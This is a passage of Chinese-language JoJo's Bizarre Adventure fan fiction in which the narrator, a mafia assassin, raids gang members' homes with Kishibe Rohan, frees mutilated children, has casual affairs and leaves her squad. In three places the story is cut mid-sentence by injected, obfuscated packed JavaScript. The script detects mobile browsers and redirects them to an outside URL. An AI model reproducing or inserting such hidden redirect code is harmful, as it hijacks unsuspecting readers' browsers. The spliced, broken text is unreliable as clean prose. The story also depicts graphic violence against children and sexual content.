虽然但是我感觉如果我就这么走正门肯定会被普罗修特发现吧,按他那种性子高低要嘲讽我几句。而且总感觉和同事睡觉不是件好事…… 于是我捡起地上的衣服,开始一件件往身上套,开始思考要不要翻窗溜出去,反正这里是二楼。 额,怎么有种偷情抓马剧情感。 我回过头,发现梅洛尼已经醒了,坐在床上眼神像一条蛇一样缠着我,我扣紧最后一颗扣子:“你不再睡一会?我打算翻窗溜出去,因为我觉得被别人看到了可能不太好。万一里苏特因此不让我们两个以后一起执行任务怎么办?” “那确实,按里苏特对你奇怪的印象,他可能会以为我强迫了你,嗯……放心,我可不会告诉任何人。”梅洛尼说着翻下床,替我拉开窗,手指在他脸颊上点了点,“你不应该给我个亲亲奖励一下吗?” “你不是真的想要亲亲吧。”我翻了个白眼。 他吐了吐舌头:“你会是一个糟糕的母亲。” “我可不想和你玩那种play啊。”我顿了顿,为了确保不会有任何问题还是问了:“你知道我和你上床只是玩吧?” 梅洛尼发出了阴沉的笑声,“要是动真心那就太糟糕了。” 我满意地点点头,从窗台翻身落下。 哇,偷情感更重了怎么办。 * 某天我接到了一通“神秘电话”……好吧,其实不神秘,是岸边露伴打来的的。 只是我最近感觉在热情呆的有些无聊了,已经开始给自己脑补神秘任务了。 我接起电话:“喂,露伴老师,我记得我这周已经跟你打过电话了。” 岸边露伴非常我行我素地打断了我:“我马上就飞来意大利了,你等会把你的住址发给我。我一下飞机就去你那。” 我:“?等等,你要干嘛?” “不说了,我马上登机。再见。” 然后他就挂断了我的电话?! 搞毛呢?! 谁知道啊,我现在就和当时阳莱和直子刚跟我说帮我转学到了杜王町,下一秒就把我架上车子,那种震惊的同时又不敢置信的心情一模一样! 好吧,其实也有一点点小雀跃的!我最近真的无聊死了。 当我坐在在阳台上喝茶的时候,隐约看到了岸边露伴的影子。他拿着一张地图很不耐烦地左看右看,还提着个巨大的箱子,穿的依然是露腰装。 他最近在健身吗,怎么感觉腹肌变明显点了。 我马上探出身子招呼:“露伴老师!” 他和我对视上后愣了一下,箱子摔到了地上。 !不要啊,万一里面有他带的特产呢! 我急忙说:“露伴老师,你等等,我马上下来接你。” “不!”他超大声地反驳我,“你就站在那,不要动,维持刚刚这个姿势,头再探出来点……弯点腰,别弯太多了!对……就是这样。很好,你别动了。” 然后我眼睁睁地看着他掏出了一个速写本开始画画。 该说不愧是岸边露伴吗? …… 等岸边露伴画完了,我才跑下去帮他提箱子,他称赞我是个好模特,接着抱怨了一下来的路上有人抢了他的钱包,然后就开始说仗助在这段时间干了些什么事把他气惨了,由花子又是如何阻止他和康一见面,托尼欧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一边说一边写写画画。等他看到某个片段后,他马上:“你竟然说你是为了你父母才加入热情的!你疯了!” 岸边露伴狠狠地批评我:“漏洞百出的谎言!但凡他们有我对你的了解的百分之一都会知道这是谎言!太危险了!” 危险什么啊,我的替身能力那么强,我还可以死而复活,危险的是他们还差不多。 “露伴,你就只管看我的经历,然后画你的漫画不就好了!”我抱怨。 他都知道我干掉吉良吉影的丰功伟绩了,他为什么还要批评我!而且他平时不也经常做些危险的事情吗。 岸边露伴表情僵了一瞬,但骄傲如他,绝对不会承认自己的错,他苍白地补充了一句:“东方仗助那小子知道一定会狠狠骂你一顿的,让后辈操心,你——” 我打断施法:“他不会有机会知道的。岸边露伴,这些事情我俩知道就好了,别让第三个人知道,否则……”我直起食指,戳在他的胸口上,“你知道后果的。” 岸边露伴带着嘲笑的欠扇表情看着我的威胁的姿态:“你来意大利就学会了这招?” “……你有点烦了。” “算了。不过你认识的这些人真是非常棒的素材啊。我没机会接触到黑手党,这次你真的给了我不少有趣的经历,比如说……”他准备开始长篇大论了,我伸出食指抵住他的嘴巴。 然后我眨巴眨巴我的眼睛,说:“露伴老师,我有个一生的请求,请你帮帮我吧。” 他马上嘚瑟起来,露出了一副欠揍的表情:“哦,帮你?我岸边露伴……” “露伴老师,你有什么请求我从来不会拒绝你,还让你随便看我的隐私。是因为我觉得我们是最好的朋友,原来你不这么想吗,竟然连听都不听一下我的请求,就开始拒绝我……”我说着说着就潸然泪下。 岸边露伴闭嘴了,岸边露伴露出一副不可置信的表情,岸边露伴脸红了,岸边露伴大叫一声:“好嘛,那我,那我勉强听听。” 呵,死傲娇。 “你看了我的经历应该就知道了吧,那个神秘的老板……我真的很好奇那个老板是谁,而且我也需要找到关于箭的消息。所以我们两个打配合一起去偷袭□□然后搞点信息好不好?” 岸边露伴露出了一副犹豫的表情:“但是……” 我一把冲过去双手握住他的手,深情地看着他:“我会保护你的!露伴老师,请相信我!完事后你再用天堂之门消除他们的记忆,简直完美!我们就是最好的搭档不是吗?” “更重要的是,你难道就不好奇那个神出鬼没的老板吗?” 24.好奇心害死猫(二合一) 「热情」是个很低调却无法让人忽视它存在的组织,这个组织盘踞在城市的阴影中,潜藏在各个行业里,一旦有人试图挑战它,那么它将吞噬掉所有冒犯者。 如果只是普通的黑手党,我是没有心思去招惹的,多一事不如少一事。 但如果这是一个可以诞生替身使者的组织,一个拥有着神秘的“箭”的组织,它背后的老板拥有着强大到让人无法萌生抵抗情绪却死活不肯暴露自己,那我就有兴趣了。 现在的我只要和替身有关的事情,和“箭”有关的事情都要掺一脚。 岸边露伴知道我的想法后,问我:“和你那个奇怪的替身有关?” 我点点头。他做出思考状,答应了帮我调查老板:“你的替身确实很奇怪,我翻阅你的书上会有很多乱码,马赛克等等奇怪的东西,这就算了。但一翻到写你替身的那几页,上面就会写着大写的警告,让我不要读。” “所以你读了吗?” 岸边露伴生气地说:“读不了!那几页书就跟被黏在一起了一样,翻都不让我翻,我连你替身名都看不到。” “这么说起来,当时是约旦河自己介绍的它的名字……” 那一幕实在太毛骨悚然了,我快要窒息而亡的时候突然出现一个瘦长鬼影,说了几句跟传教一样的话:“你在我的记忆里有看到那一幕吗?” “没有,估计这也是乱码的一部分。” 于是我跟他解释了一下当时的情况:“我觉醒约旦河是在我六岁,那个时候我掉进河里快要死掉了。它突然出现并说,它叫约旦河,可以让我拥有足以改变世界的强大力量。” 岸边露伴呵了一声,锐评:“老套反派角色的发言。很有可能拥有的是邪恶力量,接下来不是你拒绝它,它恼羞成怒,在未来某一天毁掉你,就是它静待你愿意接纳它的那个绝望的时刻……” “对吧!”我找到同好了,马上开始跟他吐槽约旦河的种种神叨叨的发言。 岸边露伴听着听着突然面色一变:“你的替身不会听到我们在议论它吗?万一它来头真的很大怎么办。” “别管了,它不太正常,完全不会在意这些。再说了,露伴老师不是在我的设定上写了,我和约旦河都不能攻击你吗?安啦安啦。”我吐了吐舌头。 “那么说回正题,你答应和我一起去刺探情报了吧。” “当然,前提是你必须保证我的安全,我要把这点写进你的设定里。” “你写,你写。”我一如既往地纵容岸边露伴:“那么我们现在就出发吧。” “现在?” “对,就现在!”我马上从我的书柜上翻出一个笔记本翻到中间几页,“我们接下来一个接着一个访问这些干部,情报组的人的家,我负责主攻,你负责辅助,能够找到时机用天堂之门就用,好吗?” 岸边露伴看着那几页名单,上面写着名字住址电话,沉默了一会,问:“这个是你在你那个队长那里找到的资料。” “对,有个干部让我盯着他们点,我就顺手捞点情报。没办法,谁叫我进组织没他们久呢,他们还提防着我,我可没那个能力去拓展关系网。”我收好这个本子。 “这个干部在组织中地位好像很高,所以我们接下来第一个要拜访的就是这个干部。 “他叫贝利可罗。” * 贝利可罗住的地方很普通,大概是为了信奉组织保持低调的理念吧。和替身使者相比,他也挺弱的。但和他一起住的,对外宣称是他儿子的家伙,可不是好惹的主。 所以我第一步控制住了那家伙,然后让岸边露伴在他的设定里写上:“我会忘记有人潜入并袭击了我,并且会比磕了安眠药还要安稳得一觉睡到第二天早上,什么东西也不会吵醒我。最近家里很平和,有任何异样我都无法察觉。” 然后再把他搬到他床上,给他掖好被子,就准备去偷袭贝利可罗了。 但因为我太轻敌了,差点让岸边露伴被子弹给擦伤了。所以在我和他一起蹲着翻已经瘫倒的贝利可罗的设定书时,岸边露伴一直在旁边忍不住嘴碎抱怨。 在他不知道第几次说我是个骗子的时候,我一把掐住他的脸蛋,带着和谐的笑容:“露伴老师,你都那么了解我了,还不知道我最喜欢哄骗人了吗?你放心,之后我肯定会保护好你的。就算一不小心让你缺胳膊少腿了,这不是还有仗助吗?” “……不要让我缺胳膊少腿啊!”岸边露伴挣扎起来,“我不干了!” “你要是敢不干,那你以后也别想见我一面,更别想看我的隐私了。” “我……” “不仅如此我还会告诉仗助和康一,你一直在逼着我,对我使用你的天堂之门。你也不想被他们两个高中生谴责吧,成熟的大人岸边露伴。” 岸边露伴不说话了,但我能够感受到他在我身旁散发幽怨的气息。完蛋,刚刚嘴太快了。接下来我不会还要哄这个家伙吧,他就不能有点大人的气度吗。 我一边翻着贝利可罗的设定,一边承受着岸边露伴时不时投来的幽怨眼神。 但当我翻来翻去,发现就算贝利可罗也从没见过老板,老板跟他传达命令甚至还是通过黑进他电脑或者用报纸剪下来的字拼接成的信等等特别隐蔽的方式,我有点……失去语言系统了。 这个老板也太神经了吧?别不是真的精神病人吧?要让我吐槽这个神经质的老板我可以吐槽个十天八夜都不休息。 他绝对是精神病患者吧。 不,也或许是贝利可罗位置不算高呢……我再去找几个人的。 ** 接下来的几天我和岸边露伴把我在里苏特那里翻到的人和地址几乎全部“拜访”了一遍,在侧面得知了老板的很少的信息和作风手段的同时,我也知道了不少组织内的秘密…… 岸边露伴在看了一圈老板对刺探他消息的人的惩罚后,语重心长地劝我:“要不然我们收手吧,我很快就离开意大利了,但你还要在这待个几年,我不想……” “可这会是很棒的素材,错过了就不好了。更何况我主要还是为了箭,不可能收手的。”我头也不抬继续看着这个家伙的生平,“而且我很强,我有把握不会死的。你多担心下自己吧。” 岸边露伴不语,但我悄悄看见他在之后每个人的设定上写了不能伤害我。 虽然是个没用的设定,不过……很暖心啊,这家伙原来真的是傲娇吗。 他站起来后,看了看角落那个笼子,里面关着几个脏兮兮的瘦的跟一架骨头的小孩,他们大多缺手少腿,又或是肚子上有一道长长的手术缝合的疤痕。 岸边露伴:“要消除他们的记忆吗?” “不用了。”我说,“他们的舌头和耳朵都被割掉了。” “不救一下他们吗?” “我们两个把他们放了,然后呢?被这群黑手党追杀。更麻烦的是,我们怎么处理这一群来路不明的小孩。而且他们几乎是废人了,无法过上正常的生活,除非有谁愿意大发慈悲资助他们……” 我拍拍手站起来,和笼子里一个小孩的一只眼睛对视上了,之所以没有双目相视是因为他另一只眼眶已经是空的了。 在那一只眼睛中我只能看到深深的绝望,或许之前那些人的记忆中的受害者也都是这样的眼神。 我沉默了一会,说:“要不然你在他的设定上加上条,说他之前喝了很多酒,头脑不清晰之下一不小心烧掉了房子……” 岸边露伴瞬间明白了我的意思,在那家伙的设定上写写改改。而我则走向那个铁笼,拿出我的刀具砍断笼子的锁,我看着蜷缩在里面的小孩,扯出一个眼睛看着还算有神的: “等会房子会发生一场火灾。你们什么也不要管,一直往外面跑就好了,遇到了警察就抱着他们,千万不要停下脚步,一直往外跑就行。” 不知道他们能够听懂多少,但这已经是我能做的最多了。至于他们往后的人生,会后悔自己没有死在这片火里,还是庆幸自己还能以这不完整之躯存活于世,就不是我该负责的了。 等火势变大,小孩子们都跑了出去。我才一把拉起岸边露伴的手,带着他一刻不停地传送了回去。 岸边露伴一到我家,就倒在地上喘着气:“你……你真的,太胡来了……” 我没理他,继续翻开本子:“下一个是波尔波?算了,那家伙在监狱,不好下手。然后是布鲁诺……” “停!”岸边露伴突然大叫:“这几天我一直在跟着你做事,我是来旅游的,来取景的,不是来锻炼替身能力的……总之,我不干了。” 看着憔悴的岸边露伴,我后知后觉:这几天我好像是奴役他奴役得有些过分了。 “好吧。”我一把把笔记本关上,拿出打火机烧掉它,“反正也没剩几个人了,估计他们那里也找不到我们神秘的老板的更多消息了。” “那剩下几天,我和你去意大利的一些热门城市逛一逛吧,反正也快到放假的时候了。” “你不回日本?” “不回,阳莱和直子来意大利了,我们在意大利休息一下。” 岸边露伴马上站起来,我问他去干嘛。 他说:“收拾收拾啊,你不是要带我去旅行吗?” “也不是现在就走的意思啊!” * 在岸边露伴激烈的要求下,我只能同意马上就出发。 “但我得先去里苏特那说一声。”我说,“估计要去个十几天呢。毕竟我也想取下景。我最近画画都少了,再这样万一被开除了怎么办。” 岸边露伴表示他想和我一起,我知道他就是单纯想亲眼看看“被我夸赞了一整页”的里苏特本人。 所以我回绝了他,然后骑上我的摩托就这么一路飙车到了暗杀组的据点。其实我在考虑要不要买个轿车了,因为骑摩托车有点冷。 一到据点我就直奔里苏特那,跟他说一声我要请假。之所以没有线上通知,是因为前面几天我翘班了,忘给他报备,我顺带来道个歉。 里苏特没问我前面几天失联是做什么,只问:“去做什么请假这么久?” 我坦白地说:“是我的朋友从日本来了,我打算带着他逛逛意大利。” 里苏特听到我这个理由时有些惊讶,他可能没想到我其实过着那么普通且幸福的生活吧。 毕竟我杀人的时候一点也不手软完全不像个普通女大学生。 表面普通女大学生,背地里做杀手吗……好吧,其实我是跟吉良吉影学的,都是吉良吉影的错,反正不是我的问题。 我趁机问里苏特:“队长你家乡是哪?” “西西里。” 听说西西里的人不是很注重家庭吗,注重家庭的人为什么会来做杀手……不会是他家里人死绝了或者他有什么把柄在黑手党手里吧。 这也太地狱了吧。 我笑嘻嘻地说:“听说你们那有种特产巧克力。我得去观摩观摩。” “哦,还有冰淇淋!听说西西里有个冰淇淋很好吃!” 里苏特这时突然开始算账:“你以后不许哄骗贝西在这里的冰箱里填充冰淇淋了。除了你,没几个人吃冰淇淋的爱好。更不要试着让贝西觉得他有这个爱好。” ……我哄骗那小子的事情还是败露了吗。 我默默点头,然后转而说:“那么我走了队长,我会记得给你们带伴手礼的。” “好。”他迟疑了一会,似乎在思考怎么告别才是普通人之间的告别,最后他只说了一句:“玩的开心。” 我兴冲冲地冲出里苏特的房间,我不打算和其它人单独告别了,反正里苏特应该会帮我说明情况。然后一阵不详的预感突然响起—— 是伊鲁索。 他说:“我看到了。” “看到什么。”总不会是看到我去偷袭那些组织成员吧。 “你偷偷潜入里苏特的房间。” 伊鲁索说着靠近我:“你为什么总是趁队长不在的时候去他房间找书看,你自己没钱买书吗?” “……”我很想告诉他我是来刺探情报的,因为贝利可罗让我这么做。但里苏特让我别说,我能怎么办,当然是不说了,反正我会说谎怎么想都是他俩的锅:“我好奇他书架上有什么书。” 完美的回答,深刻体现了一个刚进入组织没多久的新人对资深黑手党的深深崇拜之情。我简直是天才。 但伊鲁索这个没有眼力见的反而嘲讽我:“没听说过那句话吗?好奇心害死猫。” 我:…… “喵~” 听到我惟妙惟肖的猫叫声,他瞬间面色大变,惊慌失措地逃了。 呵呵,跟我斗。 * 和岸边露伴长达十二天的旅行结束后,我目送着这个祖宗坐上回日本的飞机,并确定他不会突发奇想再跑回来之后,我终于能松了口气了。 他在我认识的人里还不算很麻烦。但因为他翻过我的设定,能够看出我什么时候在敷衍人,所以我不得不拿十成十的精力认真和他说话。 当我回到家中时,楼上的卷毛阿姨遇见了我,卷毛阿姨问:“你的邻居最近是不是不太好过啊?” 我:“不知道呢,最近没见面。” 分手了还见面干嘛?打分手炮吗。 后来,我只听说他因为受贿和失职被警局革职了。 我对他的遭遇表示惋惜,但也仅仅只是惋惜。 人生中突然发生的变故实在太多了,就像是我那个小时候的玩伴。谁能想到他那样和睦的家庭,竟然没过几年就家破人亡?尽管我早已忘记了他的名字,就连他的面孔和声音都变得模糊了,可一想到他与他本可以拥有的普通而幸福的人生失之交臂,我还是会感到悲哀。 虽然是前任,但听到熟人的不幸,心里总归有些不舒服,所以在一次外出购□□支的任务结束后,我问普罗修特要不要和我一起开房。 他当时的表情有些怪异,不过如同我不会拒绝主动送上门的他一样,他也不会拒绝我。 因为心里想着事情,我很快就没了兴致。普罗修特看我没心思了,他也不讨没趣,和我并肩躺在床上发呆。 我其实并不喜欢有人睡在我旁边,这让我有种领地被侵犯的感觉。 但释放压力过后,我的容忍度格外得高,所以就算是普罗修特突然拉过我,用他有力的双臂拥抱住我。我也没有拒绝。 不知道过了多久,他突然问:“那我们是什么关系?” 我思考了一下:“炮友。” 普罗修特闷笑了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15253222|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,亲了亲我的额头:“可以换个更浪漫的名字。” 我心不在焉地用手指他胸肌上打着圈,问:“什么名字?” “情人。” 哦,一生追求浪漫的意大利人……可以不要增加刻板印象了吗? * 卷毛阿姨向我询问邻居的近况没多久后,我就见到了我的邻居。 他头发变长了不少,换上了一件极为暴露的开胸衣服,一路开到了腹部,看上去像个阴沉的巫师,戴着一个鸡蛋壳头巾,依然涂着紫色的眼影和唇膏。 我看向他不停颤抖的丰满的紫色嘴唇,他微微染上红晕的脸颊和眼角。他身上散发着浓重扑鼻的酒气,双唇颤抖着呜咽着一些让人听不懂的话语。 我并不想和狼狈的他搭话的,因为我不擅长安慰人。 但他哭了。 我记得阳莱曾告诉过我,她第一次遇见直子的时候,直子状态很糟糕。辛苦写的歌被人盗了,经纪人还因为她不愿意陪床想要雪藏她……那个时候走投无路失去梦想迷失在东京的直子,遇到了阳莱。 阿帕基也是吗?他经历了什么……那么他有像东京城中迷茫的直子遇见了阳莱一样,遇见了可以支撑他的人吗? 显然没有。否则他不会这样在意大利的夜晚哆哆嗦嗦地醉倒在他家门外,甚至连钥匙孔都插不进。 但或许他以后会,只是现在他还是只能利用酒精麻痹着一切痛苦,然后浑浑噩噩度过每一天。 我不太理解一次革职为什么会给他带来这样毁灭性打击,难道警察这个职业对他来说真的意味着这么多?可既然这样他为什么要选择受贿呢? 看着他睫毛上颤抖的泪珠,他紧咬的下唇。我忍不住蹲下去伸出手,触碰了一下他的指尖。 是冰凉的。 我开口:“阿帕基,不能在地上睡觉。会着凉的。” 他没回话,禁闭着双眼,但依然跟失去了魂魄一样地碎碎念着一些话语。 我推了推他:“阿帕基?阿帕基?雷欧?雷欧阿帕基?雷欧阿帕基!” 他没有任何反应,只是很痛苦地蜷缩着。 我突然感受到了一种曾经我从未有过的心情。那是由一点好奇,一点怜悯,一点同情,一点悲伤…… 那是同情吗? 于是我把他扶了起来,他个子很高,但我力气很大,所以扛住一个他完全不是问题。我搜了搜他的身,摸出来他家钥匙,毫不费力用钥匙打开了他的房门。 哦他家里也乱套了,堆满了空酒瓶,乱糟糟的,衣服也是乱塞……哎这太乱了,我不想看了,跟男寝一样。 我的耐心值瞬间降了不少,但好人做到底,所以我还是认命地拖着跟一头熊一样的阿帕基到了他卧室。 我一把把他摔倒了他那张黑沉沉的床上,给他拉上窗帘,准备关灯走了时,我突然听见邻居问我:“……为什么要管我?” 我:“……”这家伙原来醒着吗。 忍一下吧,他是个醉鬼,还刚被开除了没多久,忍一下吧。 但我余光中看见了他房间角落里,几瓶空酒瓶混着他的衣服一起杂乱地丢在地上时—— 我忍不了了:“所以你其实已经醒了,但还是让我扛着很重的你走过从你家门口到你卧室这么远的距离?我甚至把你好好摆在了床上,还给你掖被子。原来你是醒着?我真的……” 我嘴里其实有不少词可以喷出来的,反正邻居第二天估计就忘了。但我一堆上他淌着泪水的脸,我又骂不出来了。 他一句话也不说,只是躺在那里睁大眼睛,泪水慢慢地从他眼角滑落,滴到了他的枕头上。他看上去狼狈的不能再狼狈了,仿佛从此往后,他就要坠落谷底一样。 我坐到他床边,学着阳莱过去那样,轻轻拍着他:“睡吧睡吧,虽然你可能做了一些错误的决定,暂时偏离了你的轨道,但你只是短暂迷失了一下方向,迟早你会回到你的轨道的,不用担心。” “但如果你一直酗酒,最终哪天醒来发现自己被扒光一睁开眼就是陌生的天花板,旁边还躺着个秃了的英国佬这种事情也是可能发生的。也或许你会在晚年发现因为你经常酗酒,你的内脏功能比同龄人要差太多。还有种可能就是……” 我编不出来了。我好困,我想回家睡觉。于是我草草地说:“总之,到了那时你有得哭的,现在别哭了。早点睡吧,都……凌晨五点钟了?!” 我邻居沉默了一会,说:“你真的很不会安慰人。” “……你到底醉没醉。” 回应我的是邻居安稳下来的绵长的呼吸声。 谁知道他到底醉没醉,反正今天的我又做了一件好事!好耶! * 是不是我每做一次好事就要被惩罚一次。 否则一觉睡到下午的我,为什么会在我的客厅看见一个正在沉默中暴怒的里苏特。 你们黑手党不要随便撬别人门啊! 他面前被打开的是我的电脑,他在看……我之前和岸边露伴调查到的东西?!他手边堆着的那堆东西,不会是我拍下来的可疑照片和我精心筛选整理的资料吧?! 我要开始尖叫了。 里苏特站起来,一步步逼近我,我默默后退,直到——我背都被墙抵住了,里苏特你能不能不要过来了! 我真的会要尖叫了。 男女之间的交往要有分寸感,不要过来了!我要告你职场性骚扰了! 里苏特低着头看我,没有一丝表情的面孔下是即将爆发的火山,漆黑的巩膜无形中捏住我的心脏:“你没有什么想说的吗?” “……我错了。” 不知道该说什么,也不知道错哪了,但总之先认个错吧。 面对着里苏特高大的身影带来的威压感,我感到有些心虚的同时,也有些害怕他会出卖我。他为什么会突然来到我家里,并精确地找到我藏资料的位置……难道他有特殊渠道? 不,更重要的是他是怎么发现我在调查老板的。 见我不吭声了。里苏特马上转身,翻着我偷拍的那些照片,转身关了我的电脑。 然后他把我的电脑和照片全部都打碎了!不仅如此,他还异常凶狠地朝我大吼:“你不知道不能调查老板吗?!” 他凶我? 他凶我! 他竟然敢凶我! 就算是我做的不对,但他怎么敢凶我! 他砸我电脑,毁我辛辛苦苦收集的东西就算了,他竟然还凶我?! 几分钟前那种心虚的感觉瞬间消失了,我强迫自己挤出几滴眼泪,忍着怒火,委屈地说:“我当然知道了!我,我……我只是觉得你会想要知道!我想帮你!” 拜托了眼球,再多挤出几滴眼泪啊。加油!我的眼球。 其实我根本不知道里苏特想不想知道老板的下落,就算他不想……那只是我以为的啊?我很容易误解别人的想法,好吧。 我闭上眼睛,假装擦眼泪。透过睫毛的缝隙,我看见里苏特蹲了下来,给我递了纸巾:“……以后不许做这样危险的事情了。或许你并不适合这样的工作。” 我强忍着逼自己又挤出了几滴眼泪,点点头。 果然不经常哭的人的眼泪可以唤醒怜悯心,看来适当的服软果然很好用啊。 25.再见了暗杀组,我不会回来的 因为里苏特盯着我不让我查老板,所以我度过了很没劲又很漫长的一段时间。 除了偶尔能做到任务,偶尔可以练习枪法,偶尔可以和暗杀组的家伙切磋一下……日子变得越来越无聊。 甚至贝利可罗都让我不用再跟他汇报暗杀组的情况了,因为已经没有什么可以汇报了! 就在我已经很久没有接触和黑手党相关的事务,已经感觉自己是个彻头彻尾的普通女大学生时,里苏特突然让我去据点。 我风风火火赶到:“来任务啦?” 里苏特:“时间到了,你可以走了。” “什么?” 这架势不会是要开除我吧,我干啥了不是。 里苏特补充了一句:“并不是要开除你,是你可以转去其它组了。贝利可罗最开始说的就是两年。” 我算了算时间:“还有两个月吧?” “不,你该走了。”里苏特站起来,递给我一个盒子,“我跟贝利可罗说了,他可以为你安排下一个去处。这是我送你的临别礼物。” 我打开一看,里面是一把刀身很长的剑,被一块黑绒布包住。 他说:“以后就没有加丘给你做冰剑了,你好好用吧。” 我“啊”了一声,把剑丢给约旦河,让它帮我收着,朝里苏特队长鞠躬:“感谢您这段时间的照顾。” 他没说话。我推开门后,不知道为什么,这次其它人都乖乖地坐在客厅里,这可不多见。 “哟,来送我的?”我笑了笑,“感谢这段时间的照顾,你们教了我好多呢。以后有机会再见吧。” 贝西小跑着过来,他小脸通红,给我一个冰淇淋造型的玩偶:“嗯……虽然蕾娜塔你骗了我好多次,但我知道你没什么坏心思的……我会想你的。” 我拿过这个冰淇淋玩偶,有点意外,叹了口气:“下次见面我就不骗你了。” 普罗修特没说话,只是揉了揉我的脑袋,送给我一个红宝石项链。真有钱啊普罗修特。 伊鲁索很大声地说:“我不像那些家伙一样,我可不会送你礼物!” 我拍了拍伊鲁索,顺走他钱包:“哦。你钱包里怎么这么多钱,谢啦。” 伊鲁索:“你!……” 霍尔马吉欧一把抱住伊鲁索:“唉你这个性子可不讨喜。”他丢给我一个小盒子,“打开看看。” 哇,是一把手枪。 梅洛尼冲过来使劲抱了我一下,他说:“真希望以后还能见到你。” 我回抱住他:“你想见到我就来找我。” 梅洛尼松手后,我看向坐在沙发上一动不动的加丘:“哟,吉娃娃,不和我告别一下吗?说不定这就是最后一面了。” “都说了我不像吉娃娃!”加丘暴怒,他站起来,往我怀里塞了一个塑料袋装着的东西,是一个冰雕,一只猫咪造型的冰雕。 “哇,你还记得我很喜欢你那个猫耳朵造型啊。反正我都要走了,让我稍微摸一下吧。” “闭嘴啊!你这个疯婆子!” 我笑了笑,握住大门的门把手:“那么就再见了,各位。有缘自会相见。” 我头也不回地走了。反正估计也没机会见了,等我想个法子找到箭,再等我毕业后,我就要和意大利说撒由辣辣。 走之前我似乎听到了加丘在吵“为什么不让那家伙也参与……” 参与什么? 罢了,已经和我无关了。 * 贝利可罗没有回复我的消息,所以我现在……额应该是被放养了吧。 正好我之前跟着加丘学了怎么开游艇,我就计划自己开游艇去一座海岛转悠转悠。 没错,就我一个人!我已经受够了在学校要和同学们一起,校外要和前队友一起出任务的集体活动了! 谁还记得我最开始的人设是个孤芳自赏沉默寡言的美少女啊? 好吧,其实我没有这个人设。我现编的。 我和岸边露伴旅行时没有来过卡普里岛,但我一直有听人跟我推荐这个旅游胜地,亲眼见到后果然名不虚传。 这里的大海很漂亮,像是一大片淡蓝色宝石组成的宝石海。 我拿起相机沿着海边走走停停,拍了些照片后,就去岛上的小镇闲逛。 正当我低头调相机的焦距,准备拍水果摊上卖的巨大的柠檬时,我一个没注意,撞倒了前面的老先生。 他看上去年纪有些大,可能六七十岁,眼睛下方有一个奇特的胎记。虽然他脸上有着不少皱纹,整个人已经干巴巴的了,但隐约能看出他年轻时是个很帅气的小伙子。 我连忙扶起他:“老爷爷,你没事吧。抱歉,我刚刚没看路……” 虽然我表面上看上去很担心他,实际上内心也很担心。万一撞出个什么问题出来就麻烦了!万一被讹上了,那就完蛋了! 那个老爷爷摇摇手:“我没事……啊。”他看到我之后愣了一下,在我关切的眼神中,他笑了笑:“我没事的,小姑娘……你是一个人来吗?” 他抓着我的手,从地上缓慢爬起,他年轻时个子应该很高,哪怕是现在佝偻着身子也比我高些。 我点点头:“一个人来的。老爷爷你也是吗?” “需要我帮你拍照片吗?”老爷爷指了指他身上的胶卷机,布满沟壑的脸上露出了一个爽朗的笑容:“别看我这样,我拍照技术很好的。” “啊……可以。” 虽然不明白他想干嘛,但应该是个好人吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15255745|165982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我把我宝贵的相机递给他,他指导我站在一个可以拍到海的位置上,然后说:“我爱人很喜欢海,所以我经常拍海景。” “哇,那您爱人一定很幸福。”我回答,“这里的海确实很美。”他让我换一个姿势,我马上换了一个。 他摇摇头:“不知道她会怎么想呢。她已经去世了几十年了。” 妈呀,这个话茬我该怎么接。我很尴尬地说:“那……节哀。您真是一个很长情的人呢。” 他让我换了几个姿势,拍好后他让我看看他的拍的怎么样。 “不满意可以重拍的。”他笑着说。 “我的妈妈咪呀,你拍的真的很好看!”我竖起大拇指,“超棒的!老爷子。” 他看着我笑了,笑着笑着浊白的眼眶慢慢泛着泪光,我递给他手帕。 他盯住那张手帕却没有接过去,拿他干巴的手指擦拭掉了泪水。 “你和我的爱人长得很像,看到你站在海边,让我忍不住想起了她。”他解释,“哦,我不是故意冒犯你的。” “我并不觉得冒犯。” 他露出了一个苦涩的微笑:“我以为我会忘掉她的音容笑貌的,毕竟那已经过去几十年了,她没有留下照片或者画像,她并不喜欢,所以她的样子只留在了我的记忆里……可你看——” 他扯了扯他手上松弛的皮肤,像扯皮筋一样:“我已经老成这样了,恐怕离我脑子逐渐犯浑,忘掉她的日子已经不远了。” “那也离你们重逢的日子更近了……哦,抱歉,先生,额,我不是那个意思。”我试图解释但我的解释很苍白,可恶,习惯性每天说点缺德发言了。 在老先生哈哈大笑表示我说得其实没问题时,我试图打个补丁:“不过我想你就算忘了她,她也不会责怪你的。能念着一个人几十年,这份情谊已经很难得了。” 老爷爷撒了把面包屑喂地上的鸽子,说:“真好啊……我只希望有一天能够在茫茫人海中认出我就好了。呵呵呵大家都说她有些无情,” 我有些不太明白他后面这句话的意思,他是不是糊涂了,他爱人已经死了没机会认出吧。于是我安慰着:“她会的。” 